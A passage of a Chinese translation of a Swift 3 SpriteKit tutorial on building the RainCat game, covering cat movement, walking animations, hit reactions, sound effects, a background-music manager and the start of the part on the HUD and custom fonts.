FoodCategory || contact.bodyB.categoryBitMask == FoodCategory { handleFoodHit(contact: contact) return } if contact.bodyA.categoryBitMask == CatCategory || contact.bodyB.categoryBitMask == CatCategory { handleCatCollision(contact: contact) return } if contact.bodyA.categoryBitMask == WorldCategory { contact.bodyB.node?.removeFromParent() contact.bodyB.node?.physicsBody = nil contact.bodyB.node?.removeAllActions() } else if contact.bodyB.categoryBitMask == WorldCategory { contact.bodyA.node?.removeFromParent() contact.bodyA.node?.physicsBody = nil contact.bodyA.node?.removeAllActions() } } ``` 我们再次运行我们的应用。猫现在还不会自己跑来跑去,但是我们可以通过把食物推出屏幕边界或把猫移动到食物上来测试我们的函数。两个情况都会删除食物节点,而其中一个情况则会从屏幕外重新生成食物。 ### 让物理实体动起来吧 现在是时候让我们的小猫动起来了。是什么驱使了小猫移动呢?当然是食物啦!我们刚刚生成了食物,那么现在我们就需要让小猫向着食物移动啦。现在我们的食物精灵被添加到了场景中,然后就被遗忘了。我们需要修正这个问题。如果我们能够保留食物的引用(reference),我们就可以知道它在任何时候的位置,这样我们就可以告诉小猫食物在场景的哪个位置了。小猫可以通过检查自己的坐标来了解自己在场景中的哪个位置。有了这些位置信息,我们就可以让小猫向着食物移动了。 重新打开 `GameScene.swift` 文件,让我们在文件的顶部,猫变量的下面添加一个变量: ``` private var foodNode : FoodSprite! ``` 现在我们可以更新 `spawnFood()` 函数,使每次食物生成时都会刷新这个变量的值。 用如下代码更新 `spawnFood()` 函数: ``` func spawnFood() { if let currentFood = foodNode, children.contains(currentFood) { foodNode.removeFromParent() foodNode.removeAllActions() foodNode.physicsBody = nil } foodNode = FoodSprite.newInstance() var randomPosition : CGFloat = CGFloat(arc4random()) randomPosition = randomPosition.truncatingRemainder(dividingBy: size.width - foodEdgeMargin * 2) randomPosition += foodEdgeMargin foodNode.position = CGPoint(x: randomPosition, y: size.height) addChild(foodNode) } ``` 这个函数将把食物变量的作用域从 `spawnFood()` 函数变为整个 `GameScene.swift` 文件。在我们的代码中,同一时间我们只会生成一个 `FoodSprite`,同时我们需要保持对它的引用。因为有这个引用,我们就可以检测到在任何时间食物的位置了。同样的,在任何时间场景内也只会有一只猫,同样我们也需要保持对它的引用。 我们知道小猫想要获得食物,我们只需要提供一个方法让小猫能够移动。我们需要编辑 `CatSprite.swift` 文件以便我们知道小猫需要往哪个方向前进来获取食物。为了让小猫获得食物,我们还需要知道小猫的移动速度。在 `CatSprite.swift` 文件的顶部,我们可以在 `newInstance()` 函数前添加如下代码: ``` private let movementSpeed : CGFloat = 100 ``` 这一行代码定义了猫的移动速度,这是对一个复杂问题的简单解法。我们用了一个简单的线性方程,不考虑任何摩擦和加速。 现在我们需要在我们的 `update(deltaTime:)` 方法中做点什么了。因为我们已经知道了食物的位置,我们需要让小猫朝着这个位置移动了。用如下代码更新 `CatSprite.swift` 文件中的 update 函数: ``` public func update(deltaTime : TimeInterval, foodLocation: CGPoint) { if foodLocation.x < position.x { //Food is left position.x -= movementSpeed * CGFloat(deltaTime) xScale = -1 } else { //Food is right position.x += movementSpeed * CGFloat(deltaTime) xScale = 1 } } ``` 我们更新了这个函数的函数签名(signature)。因为我们需要告诉小猫食物的位置,所以在传参时,我们不仅传递了 delta 时间,也传递了食物的位置信息。因为很多事情可以影响食物的位置,所以我们需要不停地更新食物的位置信息,以保证小猫一直在正确的方向上前进。接下来,让我们来看一下函数的功能。在这个更新过的函数中,我们取的 delta 时间是一个非常短的时间,大约只有 0.166 秒左右。我们也取了食物的位置,是 `CGPoint` 类型的参数。如果食物的 `x` 位置比小猫的 `x` 位置更小,那么我们就知道食物在小猫的左边,反之,食物就在小猫的上边或右边。如果小猫朝左边移动,那么我们取小猫的 `x` 位置减去小猫的移动速度乘以 delta 时间。我们需要把 delta 时间的类型从 `TimeInterval` 转换到 `CGFloat`,因为我们的位置和速度变量用的是这个单位,而 Swift 恰恰是一种强类型语言。 这个效果实际上是以一个恒定的速率将小猫往左边推,让它看起来像是在移动。在这里,每隔 0.166 秒,我们就将猫精灵放在上一位置左边 16.6 单位的位置上。这是因为我们的 `movementSpeed` 变量是 100,而 0.166 × 100 = 16.6。小猫往右边移动时进行一样的处理,除了我们是将猫精灵放在上一位置右边 16.6 单位的位置上。接下来,我们设定了我们猫的 [xScale](https://developer.apple.com/reference/spritekit/sknode/1483087-xscale)[\[12\]](#note-12) 属性。这个值决定了猫精灵的宽度。默认值是 1.0,如果我们把 `xScale` 设置成 0.5,猫的宽度就会变成之前的一半。如果我们把这个值翻倍到 2.0,那么猫的宽度就会变成之前的一倍,以此类推。因为原始的猫精灵是面朝右边的,当猫朝着右边移动时,xScale 值会被设定为默认的 1。如果我们想要“翻转”猫精灵,我们就把 xScale 设置成 -1,这会把猫的 frame 值置为负数并且反向渲染。我们把这个值保持在 -1 来保证猫精灵的比例一致。现在,当猫朝左边移动时,它会面朝左边,当猫朝右边移动时,它会面朝右边。 现在小猫会以一个恒定的速率朝着食物的位置移动了。首先,我们确定了小猫需要移动的方向,之后让小猫在 x 轴上朝着那个方向移动。我们同样也需要更新猫的  `xScale` 参数,因为我们希望小猫可以在移动时面朝正确的方向。除非我们希望小猫在用太空步移动!最后,我们需要告诉小猫来更新我们的游戏场景。 打开 `GameScene.swift` 文件,找到我们的 `update(_ currentTime:)` 函数,在更新雨伞的调用下面,新增如下代码: ``` catNode.update(deltaTime: dt, foodLocation: foodNode.position) ``` 运行我们的应用,然后成功!最起码是在绝大多数情况下。到现在为止,小猫会朝着食物移动了,但是却可能会陷入一些有意思的情况里。 只是一只小猫做着小猫该做的事 接下来,我们就要来添加移动动画啦!在这之后,我们会绕回来解决猫被打中后的滚动效果。你可能已经注意到了一个名为 `cat_two` 的未使用资源。我们需要添加这个纹理,并且穿插使用它,使小猫看起来像在行走。为了实现这个,我们需要添加我们第一个 `SKAction`! ### 行走样式 在 `CatSprite.swift` 文件的顶部,我们将要添加一个字符串常量,以便我们添加一个与该键值相关联的步行动作。这样做使得我们可以单独停止猫的步行动作,而不是移除之后可能会添加的所有动作。在 `movementSpeed` 变量前添加如下代码: ``` private let walkingActionKey = "action_walking" ``` 这个字符串本身并不是那么重要,但是它是步行动画的标志位。我也很喜欢在给键值命名时添加一些有意义的字段,以方便调试。例如,当我看到这个键值时,我会知道这是个 `SKAction`,具体来说,是个步行动作。 在 `walkingActionKey` 的下面,我们将会添加图像帧。因为我们只会使用两个不同的图象帧,我们可以把它放在文件的顶部: ``` private let walkFrames = [ SKTexture(imageNamed: "cat_one"), SKTexture(imageNamed: "cat_two") ] ``` 这只是个包含了两个纹理的数组,而这两个纹理是在猫行走时需要交替使用的。为了完成这个功能,我们需要用如下代码更新我们的 `update(deltaTime: foodLocation:)` 函数: ``` public func update(deltaTime : TimeInterval, foodLocation: CGPoint) { if action(forKey: walkingActionKey) == nil { let walkingAction = SKAction.repeatForever( SKAction.animate(with: walkFrames, timePerFrame: 0.1, resize: false, restore: true)) run(walkingAction, withKey:walkingActionKey) } if foodLocation.x < position.x { //Food is left position.x -= movementSpeed * CGFloat(deltaTime) xScale = -1 } else { //Food is right position.x += movementSpeed * CGFloat(deltaTime) xScale = 1 } } ``` 通过此更新,我们检查了我们的猫精灵是否已经在运行步行动画序列了。如果没有,那么我们就会将步行动画添加到猫精灵上。这是个嵌套的 `SKAction`。首先,我们新建了一个会一直重复的动作。然后,在*那个*动作里,我们新建了步行的动画序列。 `SKAction.animate(with: …)` 函数会接收动画帧数组,以及每帧持续的时间。 函数中接收的下一个变量确定了其中的纹理是否具有不一样的大小,同时当该纹理在动画帧上生效时是否需要调整 `SKSpriteNode` 的大小。 `Restore` 确定了当动画结束时,精灵是否需要重置到它的初始状态。我们把这两个值都设置成了 `false`,这样就不会有什么出人意料的事情发生了。在我们设定好了步行动画之后,我们就可以通过运行 `run()` 函数来让猫精灵开始行走了。 再次运行我们的应用,我们将看到我们的小猫专心致志地朝着食物移动啦! Yeah, on the catwalk, on the catwalk, yeah I do my little turn on the catwalk(译者注:这是 “I am Too Sexy” 的歌词). 如果在这个过程中,小猫被击中,它会打滚,但是仍旧朝着食物移动。我们需要显示小猫的受损状态,以便用户知道他们做了什么不好的事。同样的,我们需要修正小猫在移动过程中的打滚动作,以保证小猫不会在乱七八糟的方向上移动。 让我们来看一下我们的计划。我们希望能够显示小猫被击中了,而不是仅仅更新游戏得分。有些游戏会使该受损单位闪烁并且进入无敌状态。如果我们有纹理的话,我们也可以做一个受损动画。对这个游戏而言,我想保持它的简单性,所以我只添加了一些“摇动”功能。当小猫被雨滴击中时,它会被晕眩然后不可置信地翻倒;它会被*震惊*,因为玩家居然让这种事发生了。为了实现这个功能,我们会定义一些变量。我们需要知道小猫会被晕眩多长时间和它已经被晕眩了多长时间。在这个文件的顶部, `movementSpeed` 变量的下面添加如下代码: ``` private var timeSinceLastHit : TimeInterval = 2 private let maxFlailTime : TimeInterval = 2 ``` 第一个变量, `timeSinceLastHit` 保存了自小猫上次被打中后过了多长时间。因为下一个变量 `maxFlailTime`,我们把这个值设置成 `2`。`maxFlailTime` 变量是个常数,表示小猫每次会被晕眩 2 秒钟。我们把这两个值都被设置成 2,这样小猫就不会在生成的一瞬间就被晕眩了。你可以尝试着重新设定这两个值,来确定最好的晕眩时间。 现在,我们需要添加一个函数,让小猫知道它被打中了,它需要通过停止移动来对此做出反应。在我们的 `update(deltaTime: foodLocation:)` 函数下添加如下代码: ``` public func hitByRain() { timeSinceLastHit = 0 removeAction(forKey: walkingActionKey) } ``` 这段代码只是把 `timeSinceLastHit` 变量设置成了 `0`,同时移除了小猫的步行动画。现在我们需要重写 `update(deltaTime: foodLocation:)` 函数,以保证小猫就不会在它被晕眩的时候移动。让我们用如下代码更新该函数: ``` public func update(deltaTime : TimeInterval, foodLocation: CGPoint) { timeSinceLastHit += deltaTime if timeSinceLastHit >= maxFlailTime { if action(forKey: walkingActionKey) == nil { let walkingAction = SKAction.repeatForever( SKAction.animate(with: walkFrames, timePerFrame: 0.1, resize: false, restore: true)) run(walkingAction, withKey:walkingActionKey) } if foodLocation.x < position.x { //Food is left position.x -= movementSpeed * CGFloat(deltaTime) xScale = -1 } else { //Food is right position.x += movementSpeed * CGFloat(deltaTime) xScale = 1 } } } ``` 现在,我们的 `timeSinceLastHit` 变量会不停更新,而且如果小猫在过去的 2 秒钟没有被打中,那么它就会继续朝着食物移动。如果我们并没有设置步行动画,那么必须要正确地设置它。步行动画是个基于帧的动画,而它只是每 0.1 秒交换两个纹理使得小猫看起来像在行走。不过它看起来的确很像小猫真的在行走,对吧? 我们需要重新打开 `GameScene.swift` 文件来告诉小猫它被击中了。在 `handleCatCollision(contact:)` 函数中,我们需要调用 `hitByRain` 函数。在 `switch` 语句里,找到 `RainDropCategory` 然后把其中的这个语句: ``` print("rain hit the cat") ``` 换成这个: ``` catNode.hitByRain() ``` 如果我们现在运行我们的应用,当小猫被雨滴击中时,它就会被晕眩 2 秒啦! 这个功能成功实现了,只是现在小猫会进入一个颠倒的状态,看起来很滑稽。同样的,这也会让雨滴看起来真的很痛——可能我们需要做点什么了。 对于雨滴的问题,我们可以对它的 `physicsBody` 做点细微的调整。在 `spawnRaindrop` 函数中,初始化 `physicsBody` 语句的下面,我们可以添加如下代码: ``` raindrop.physicsBody?.density = 0.5 ``` 这会使雨滴的密度从它的初始值 `1.0` 减半。这会使得小猫没这么容易被击中了。 打开 `CatSprite.swift` 文件,我们可以修改 `SKAction` 来修正小猫的旋转。在 `update(deltaTime: foodLocation:)` 函数中添加如下代码。确保它在 `if` 语句的里面判断猫是否在抖动。 找到这一行: ``` if timeSinceLastHit >= maxFlailTime { ``` 并且添加如下代码来修正小猫的旋转角度: ``` if zRotation != 0 && action(forKey: "action_rotate") == nil { run(SKAction.rotate(toAngle: 0, duration: 0.25), withKey: "action_rotate") } ``` 这个代码块会判断是否小猫已经被旋转了,哪怕只是一点点。然后,我们要判断当前正在运行的这些 `SKAction` 来确定我们是否已经运行猫的重置动画。如果小猫被旋转了,而又没有运行动画,那么我们就需要运行一个动画来让小猫回归到初始状态。需要注意的是,我们这里采用了硬编码,因为我们暂时不需要在任何别的部分使用这个值。以后如果我们需要在别的函数或类中判断旋转动画,我们就需要在文件的顶部设置一个常量了,就像 `walkingActionKey` 一样。 运行我们的应用,现在你能看到奇迹发生了:小猫被击中了,小猫旋转了,小猫又转回来了,它很开心可以继续去吃掉更多的食物了。可是这里仍旧有两个小问题。因为我们把猫的 `physicsBody` 设置成了一个圆,在小猫第一次修正自己时,你可能会发现小猫的状态变得不太稳定了。它会不停的旋转然后修正自己。为了解决这个问题,我们需要重设 `angularVelocity`。本质上,小猫在被击中时会旋转,然而我们并没有修正我们为小猫添加的移动速度。而小猫也在被击中后没有更新自己的速度。如果小猫被击中了然后尝试着向相反方向移动,你可能会发现它比正常的速度慢了。另外一个问题是,食物可能会在小猫的正上方。当食物在小猫正上方时,小猫会迅速地转身。我们可以通过用如下代码更新我们的 `update(deltaTime :, foodLocation:)` 函数来解决这个问题: ``` public func update(deltaTime : TimeInterval, foodLocation: CGPoint) { timeSinceLastHit += deltaTime if timeSinceLastHit >= maxFlailTime { if action(forKey: walkingActionKey) == nil { let walkingAction = SKAction.repeatForever( SKAction.animate(with: walkFrames, timePerFrame: 0.1, resize: false, restore: true)) run(walkingAction, withKey:walkingActionKey) } if zRotation != 0 && action(forKey: "action_rotate") == nil { run(SKAction.rotate(toAngle: 0, duration: 0.25), withKey: "action_rotate") } //Stand still if the food is above the cat. if foodLocation.y > position.y && abs(foodLocation.x - position.x) < 2 { physicsBody?.velocity.dx = 0 removeAction(forKey: walkingActionKey) texture = walkFrames[1] } else if foodLocation.x < position.x { //Food is left physicsBody?.velocity.dx = -movementSpeed xScale = -1 } else { //Food is right physicsBody?.velocity.dx = movementSpeed xScale = 1 } physicsBody?.angularVelocity = 0 } } ``` 现在让我们再来重新运行应用,大部分的不稳定动作已经被修正了。不仅仅是这样,当食物在小猫正上方时,小猫也会稳稳地站着了。 ### 现在来添加音乐吧 在我们开始写代码前,我们应该先要找点音效。一般来说,在寻找音效时,我只会搜索一些类似于 “cat meow royalty free” 的关键词。第一个匹配的通常是 [SoundBible.com](http://soundbible.com/tags-cat-meow.html)[\[13\]](#note-13),它会提供一些免费的音效。请务必阅读使用许可证。如果你不打算发布你的应用,那么就不需要关心许可证,因为这只是个个人应用。可是,如果你想要在 App store 中发售它,或者通过别的方式发布它,那么就请确保附上了 Creative Commons Attribution 3.0 或者是类似的许可证。这里有许多种许可证,所以当你使用别人的作品前,请确定你找到了相对应的许可证。 在该应用中使用的音效都是通过 Creative Commons-licensed 授权并且免费使用的。为了之后的操作,我们需要将之前下载的 `SFX` 文件夹移动到 `RainCat` 文件夹中。 [![Finder 模式已激活](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Finder-Mode-Activated-preview-opt.png) ](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Finder-Mode-Activated-large-opt.png)[\[14\]](#note-14) 把音效添加到文件系统中。 ([查看源文件](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Finder-Mode-Activated-large-opt.png)[\[15\]](#note-15)) 在你把这些文件拷贝到项目中之后,你需要用 Xcode 来把它们添加到你的项目中。在 “Support” 文件夹下新建一个名为 “SFX” 的 group。右键点击这个group 然后点击 “Add Files to RainCat…” 选项。 [![添加音效](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Adding-in-SFX-preview-opt.png) ](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Adding-in-SFX-preview-opt.png)[\[16\]](#note-16) 添加音效 找到你的 “SFX” 文件夹,选中你的所有音效文件,然后点击 “Add” 按钮。现在项目中就有了你所有需要使用的音效文件了。打开 `CatSprite.swift` 文件,我们可以添加一个包含了所有音效文件名的数组,这样我们就可以在雨滴击中物体时播放它们了。在该文件的顶部, `walkFrames` 变量下,添加如下数组: ``` private let meowSFX = [ "cat_meow_1.mp3", "cat_meow_2.mp3", "cat_meow_3.mp3", "cat_meow_4.mp3", "cat_meow_5.wav", "cat_meow_6.wav" ] ``` 我们在 `hitByRain` 函数中添加两行代码,来让小猫发出声音了: ``` let selectedSFX = Int(arc4random_uniform(UInt32(meowSFX.count))) run(SKAction.playSoundFileNamed(meowSFX[selectedSFX], waitForCompletion: true)) ``` 上面的代码会在 0 到 `meowSFX` 数组大小的范围内随机选择一个值。然后,我们从字符串数组中选择相对应的音效名并且播放它。我们将得到一个 1 bit 的 `waitForCompletion` 变量. 同样的,我们将使用 `SKAction.playSoundFileNamed` 来播放我们可爱的音效。 那么现在我们的应用就有声音啦!那么多声音!可是有些声音会重叠起来。现在,每当小猫被雨滴击中时,我们就会播放一个音效。很快我们就会觉得烦了。我们需要在播放音效时添加更多的逻辑判断,而且我们也不应该同时播放两个音效。 在 `CatSprite.swift` 文件的顶部,`maxFlailTime` 变量的下面,添加如下两个变量: ``` private var currentRainHits = 4 private let maxRainHits = 4 ``` 第一个变量,`currentRainHits`,是一个计数器,会统计小猫总共被雨滴打中了多少次,而 `maxRainHits` 表示了在小猫喵喵叫前能被击中几次。 现在我们将要更新 `hitByRain` 函数了。我们需要应用 `currentRainHits` 和 `maxRainHits` 两个变量来制定规则了。让我们用如下代码来更新 `hitByRain` 函数: ``` public func hitByRain() { timeSinceLastHit = 0 removeAction(forKey: walkingActionKey) //Determine if we should meow or not if(currentRainHits < maxRainHits) { currentRainHits += 1 return } if action(forKey: "action_sound_effect") == nil { currentRainHits = 0 let selectedSFX = Int(arc4random_uniform(UInt32(meowSFX.count))) run(SKAction.playSoundFileNamed(meowSFX[selectedSFX], waitForCompletion: true), withKey: "action_sound_effect") } } ``` 现在,如果 `currentRainHits` 的值比设定的最大值小,那么我们只增加 `currentRainHits` 的值而不播放音效。然后,我们需要通过我们提供的键值: `action_sound_effect` 来判断我们现在是否已经在播放音效了。如果我们没在播放音效,那么我们可以随机播放一个音效。我们把 `waitForCompletion` 参数设置成 `true`, 因为这个操作在音效结束前并不会完成。如果我们把该参数设置成 `false`,那么它会在音效刚开始时就把它当做播放结束来计数了。 ### 添加音乐 在我们新建一个方法在我们的应用中播放音乐之前,我们需要找到能播放的东西。类似于搜索音效的过程,我们可以在 Google 中搜索 “royalty free music” 来找到需要播放的音乐。此外,你可以去 SoundCloud 网站,并与里面的艺术家交谈。你需要查看你是否可以找到音乐相对应的许可证以保证你可以在你的游戏中使用它。 对这个应用而言,我碰巧发现了 [Bensound](http://www.bensound.com/royalty-free-music)[\[28\]](#note-28)[\[17\]](#note-17),根据 Creative Commons license,有一些我们可以使用的音乐。你必须遵从 [licensing agreement](http://www.bensound.com/licensing)[\[18\]](#note-18) 来使用它。操作其实很简单:credit Bensound 或者付费购买许可。 下载我们的四个音轨 ([1](http://www.bensound.com/royalty-free-music/track/little-idea)[\[19\]](#note-19), [2](http://www.bensound.com/royalty-free-music/track/clear-day)[\[20\]](#note-20), [3](http://www.bensound.com/royalty-free-music/track/jazzy-frenchy)[\[21\]](#note-21), [4](http://www.bensound.com/royalty-free-music/track/jazz-comedy)[\[22\]](#note-22)),或者把它们从之前下载的 “Music” 文件夹里拖出来。我们将在四个音轨循环播放,来保证玩家不会感到厌烦。另外一件需要考虑的事是,这些音轨可能并不能正确循环,这样你就需要知道每个音轨的开始和结束时间。好的背景音乐可以很好的在不同的音轨间循环或切换。 在你下载了这些音轨之后,你需要在 “RainCat” 文件夹下新建一个名叫 “Music” 的文件夹,和你之前创建 “SFX” 文件夹的操作一样。然后把下载的音轨移动到这个文件夹中。 [![添加音乐](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Adding-in-some-music-tracks-preview-opt.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Adding-in-some-music-tracks-large-opt.png)[\[23\]](#note-23) 添加音乐 ([查看源文件](https://www.smashingmagazine.com/wp-content/uploads/2016/10/Adding-in-some-music-tracks-large-opt.png))[\[24\]](#note-24) 然后,在我们的项目结构里的 “Support” 中创建一个组,命名为 “Music”。 右键点击 “Music” 组,点击 “Add Files to RainCat”,把我们的音乐添加到项目里。这和我们添加音效的操作一样。 然后,我们需要创建一个名为 `SoundManager.swift` 新文件,正如你在上面图片中看到的那样。这将用来作为播放音乐的单例,对音效而言,我们并不介意两个音效重叠,但是如果有两个背景音乐同时播放那将是一件很恐怖的事。所以我们需要实现 `SoundManager`: ``` import AVFoundation class SoundManager : NSObject, AVAudioPlayerDelegate { static let sharedInstance = SoundManager() var audioPlayer : AVAudioPlayer? var trackPosition = 0 //Music: http://www.bensound.com/royalty-free-music static private let tracks = [ "bensound-clearday", "bensound-jazzcomedy", "bensound-jazzyfrenchy", "bensound-littleidea" ] private override init() { //This is private, so you can have only one Sound Manager ever. trackPosition = Int(arc4random_uniform(UInt32(SoundManager.tracks.count))) } public func startPlaying() { if audioPlayer == nil || audioPlayer?.isPlaying == false { let soundURL = Bundle.main.url(forResource: SoundManager.tracks[trackPosition], withExtension: "mp3") do { audioPlayer = try AVAudioPlayer(contentsOf: soundURL!) audioPlayer?.delegate = self } catch { print("audio player failed to load") startPlaying() } audioPlayer?.prepareToPlay() audioPlayer?.play() trackPosition = (trackPosition + 1) % SoundManager.tracks.count } else { print("Audio player is already playing!") } } func audioPlayerDidFinishPlaying(_ player: AVAudioPlayer, successfully flag: Bool) { //Just play the next track. startPlaying() } } ``` 在 `SoundManager` 类中,我们需要使用 [单例](https://www.codefellows.org/blog/singletons-and-swift/)[\[25\]](#note-25) 来创建 `SoundManager`,来处理巨大的音轨文件并且按顺序连续播放它们。为了处理更长时间的音频文件,我们需要使用 `AVFoundation`。它是专门为此构建的,而 `SKAction` 并不能边加载边播放一个大音频文件,这和它在加载小的 SFX 文件时不一样。因为这个库一直都存在, `delegate` 是依赖于 [`NSObjects`](https://developer.apple.com/reference/objectivec/nsobject)[\[26\]](#note-26)。我们需要使用 [`AVAudioPlayerDelegate`](https://developer.apple.com/reference/avfoundation/avaudioplayerdelegate)[\[27\]](#note-27) 来检测音频何时播放完毕。 我们需要持有现在正在播放的 `audioPlayer` 变量,以用来实现静音操作。 现在我们有当前音轨的位置,我们可以按照文件名数组来播放下一个音轨。当然我们也应该遵守 [Bensound](http://www.bensound.com/royalty-free-music)[\[28\]](#note-28)[\[17\]](#note-17) 协议许可。 我们需要实现默认的 `init` 函数,在这里,我们将随机选择起始音乐,这样我们不用总是在游戏开始时听同样的音乐。在这之后,我们需要等待程序告诉我们开始播放操作。在 `startPlaying` 函数中,我们需要检查当前播放器是否正在播放,如果没有,我们开始尝试播放被选中的音乐。我们需要启动音乐播放器,因为该操作有可能失败,所以我们需要将该操作放到 [try/catch block](https://www.bignerdranch.com/blog/error-handling-in-swift-2/)[\[29\]](#note-29) 中。然后,我们准备开始播放选中的音轨,同时设置索引给下一个需要播放的音乐。因此,下面这行代码非常重要: ``` trackPosition = (trackPosition + 1) % SoundManager.tracks.count ``` 这行代码会通过增加索引值来设置音轨的下个位置,然后会执行 [modulo](https://en.wikipedia.org/wiki/Modulo_operation)[\[30\]](#note-30) 操作,以保持索引值不会越界。最后,在 `audioPlayerDidFinishPlaying(_ player:successfully flag:)` 函数中,我们实现了 `delegate` 方法,这可以让我们知道音乐播放完毕。现在,我们并不需要关心这个方法是否成功——只要在这个方法被调用时播放下一个音乐就好了。 ### 按下 Play 键 现在我们已经实现了 `SoundManager`,我们就需要告诉它什么时候开始运行,这样我们就有无限循环播放的背景音乐了。让我们重新打开 `GameViewController.swift` 文件,然后将下面这行代码放到初始化场景的地方: ``` SoundManager.sharedInstance.startPlaying() ``` 我们在 `GameViewController` 里执行这个操作,是因为我们需要音乐独立于场景。如果我们在这个时候运行 app,而且所有的东西都已经被正确地添加到了项目中,我们就可以听到背景音乐了! 在本课中,我们主要实现了两个部分:精灵动画和声音。我们使用了一个基于帧的动画来使精灵可以动起来,用了 SKAction 来实现,并使用了一些方法来重设我们被雨滴击中的小猫。我们使用了 `SKAction` 来添加了音效,并指定了当小猫被雨击中时来播放音效。 最后,我们为我们的游戏添加了初始背景音乐。 到这里,恭喜!我们的游戏即将完成!如果你有什么不明白的地方,请仔细检查我们在 [在Github](https://github.com/thirteen23/RainCat/releases/tag/smashing-magazine-lesson-two)[\[31\]](#note-31) 上的代码。 你做的怎么样了?你的代码和我的差不多吗?如果你做了一些修改,或者有更好的更新,可以通过评论让我知道。 第三节课即将到来! #### 附录 1. https://developer.apple.com/spritekit/ 2. https://www.smashingmagazine.com/2016/11/how-to-build-a-spritekit-game-in-swift-3-part-1/ 3. https://github.com/thirteen23/RainCat/releases/tag/smashing-magazine-lesson-one 4. https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_header_sm-preview-opt.png 5. https://www.smashingmagazine.com/2016/11/how-to-build-a-spritekit-game-in-swift-3-part-1/ 6. https://github.com/thirteen23/RainCat/blob/smashing-day-2/dayTwoAssets.zip 7. https://www.smashingmagazine.com/wp-content/uploads/2016/10/App-assets-large-opt.png 8. https://www.smashingmagazine.com/wp-content/uploads/2016/10/App-assets-large-opt.png 9. https://developer.apple.com/library/ios/documentation/Swift/Conceptual/Swift_Programming_Language/Protocols.html 10. https://www.smashingmagazine.com/wp-content/uploads/2016/10/Cat-large-opt.png 11. https://www.smashingmagazine.com/wp-content/uploads/2016/10/Cat-large-opt.png 12. https://developer.apple.com/reference/spritekit/sknode/1483087-xscale 13. http://soundbible.com/tags-cat-meow.html 14. https://www.smashingmagazine.com/wp-content/uploads/2016/10/Finder-Mode-Activated-large-opt.png 15. https://www.smashingmagazine.com/wp-content/uploads/2016/10/Finder-Mode-Activated-large-opt.png 16. https://www.smashingmagazine.com/wp-content/uploads/2016/10/Adding-in-SFX-preview-opt.png 17. http://www.bensound.com/royalty-free-music 18. http://www.bensound.com/licensing](#note-18) 19. http://www.bensound.com/royalty-free-music/track/little-idea 20. http://www.bensound.com/royalty-free-music/track/clear-day 21. http://www.bensound.com/royalty-free-music/track/jazzy-frenchy 22. http://www.bensound.com/royalty-free-music/track/jazz-comedy 23. https://www.smashingmagazine.com/wp-content/uploads/2016/10/Adding-in-some-music-tracks-large-opt.png 24. https://www.smashingmagazine.com/wp-content/uploads/2016/10/Adding-in-some-music-tracks-large-opt.png 25. https://www.codefellows.org/blog/singletons-and-swift/ 26. https://developer.apple.com/reference/objectivec/nsobject 27. https://developer.apple.com/reference/avfoundation/avaudioplayerdelegate 28. http://www.bensound.com/royalty-free-music 29. https://www.bignerdranch.com/blog/error-handling-in-swift-2/ 30. https://en.wikipedia.org/wiki/Modulo_operation 31. https://github.com/thirteen23/RainCat/releases/tag/smashing-magazine-lesson-two ================================================ FILE: TODO/how-to-build-a-spritekit-game-in-swift-3-part-3.md ================================================ > * 原文地址:[How To Build A SpriteKit Game In Swift 3 (Part 3)](https://www.smashingmagazine.com/2016/12/how-to-build-a-spritekit-game-in-swift-3-part-3/) * 原文作者:[Marc Vandehey](https://twitter.com/marcvandehey) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[DeepMissea](http://deepmissea.blue) * 校对者:[Tina92](https://github.com/Tina92),[Tuccuay](http://www.tuccuay.com) # 如何在 Swift 3 中用 SpriteKit 框架编写游戏 (Part 3) 你有没有想过要如何开始创作一款基于 SpriteKit 的游戏?按钮的开发是一个很庞大的任务吗?想过如何制作游戏的设置部分吗?随着 [SpriteKit](https://developer.apple.com/spritekit/) 的出现,在 iOS 上开发游戏已经变得空前的简单了。在本系列的第三部分,我们将完成 RainCat 游戏的开发以及对 SpriteKit 框架的介绍。 如果你错过了[上一课](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-build-a-spritekit-game-in-swift-3-part-2.md),你可以通过获取 [Github 上的代码](https://github.com/thirteen23/RainCat/releases/tag/smashing-magazine-lesson-two)来赶上进度。请记住,本教程需要使用 Xcode 8 和 Swift 3。 [![Raincat, 第三课](https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_header_sm-preview-opt-1.png)](https://www.smashingmagazine.com/wp-content/uploads/2016/10/raincat_header_sm-preview-opt-1.png) 这是我们 RainCat 之旅的第三课。在[上节课](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-build-a-spritekit-game-in-swift-3-part-2.md)里,我们用了很长一段时间来搞定了一些简单动画,猫的行为、音效和背景音乐。 今天,我们将重点关注下面的内容: - 用指示器(HUD)显示得分; - 主菜单 — 带一些按钮; - 静音选项; - 退出游戏选项。 #### 更多的资源 最后一节课的资源都在 [GitHub](https://github.com/thirteen23/RainCat/blob/smashing-day-3/dayThreeAssets.zip) 上,再次把那些图片拖进 `Assets.xcassets` 里,就像我们上节课做的那样。 ### 第一步! 我们需要一种方式来显示得分。要做这个,我们就得创建一个指示器(HUD)。这个很简单:指示器是一个 `SKNode` ,它包含了分数和一个退出游戏的按钮。现在,我们先来搞定分数。我们用 Pixel Digivolve 字体来显示分数,你可以在 [Dafont.com](http://www.dafont.com/pixel-digivolve.font) 找到它。就像之前我们使用不是我们原创的图片和音效一样,使用字体前,一定要浏览它的使用协议。这个字体声明,个人使用是免费的,但如果你真的很喜欢,你可以去作者的页面对他进行捐赠以表示支持。你不可能自己做所有的事,所以回馈那些一路帮助过你的人也是很愉快的。 接着,我们就需要把自定义的字体添加到项目里了。如果是第一次添加,这可能是个棘手的过程。 下载字体并把它移动到项目文件夹的 “Fonts” 文件夹里。这个过程我们上节课已经做过好几次了,所以我们加快点儿速度。在项目里创建 `Fonts` 组,然后把 `Pixel digivolve.otf` 文件加进去。 现在棘手的部分来了。如果错过了这部分,也许你就不能使用字体了。我们需要添加它到 `Info.plist` 文件。这个文件在 Xcode 的左边。打开它你会看到一堆属性列表(或者叫 `plist` 文件)。右键点击列表,然后点 “Add Row”。 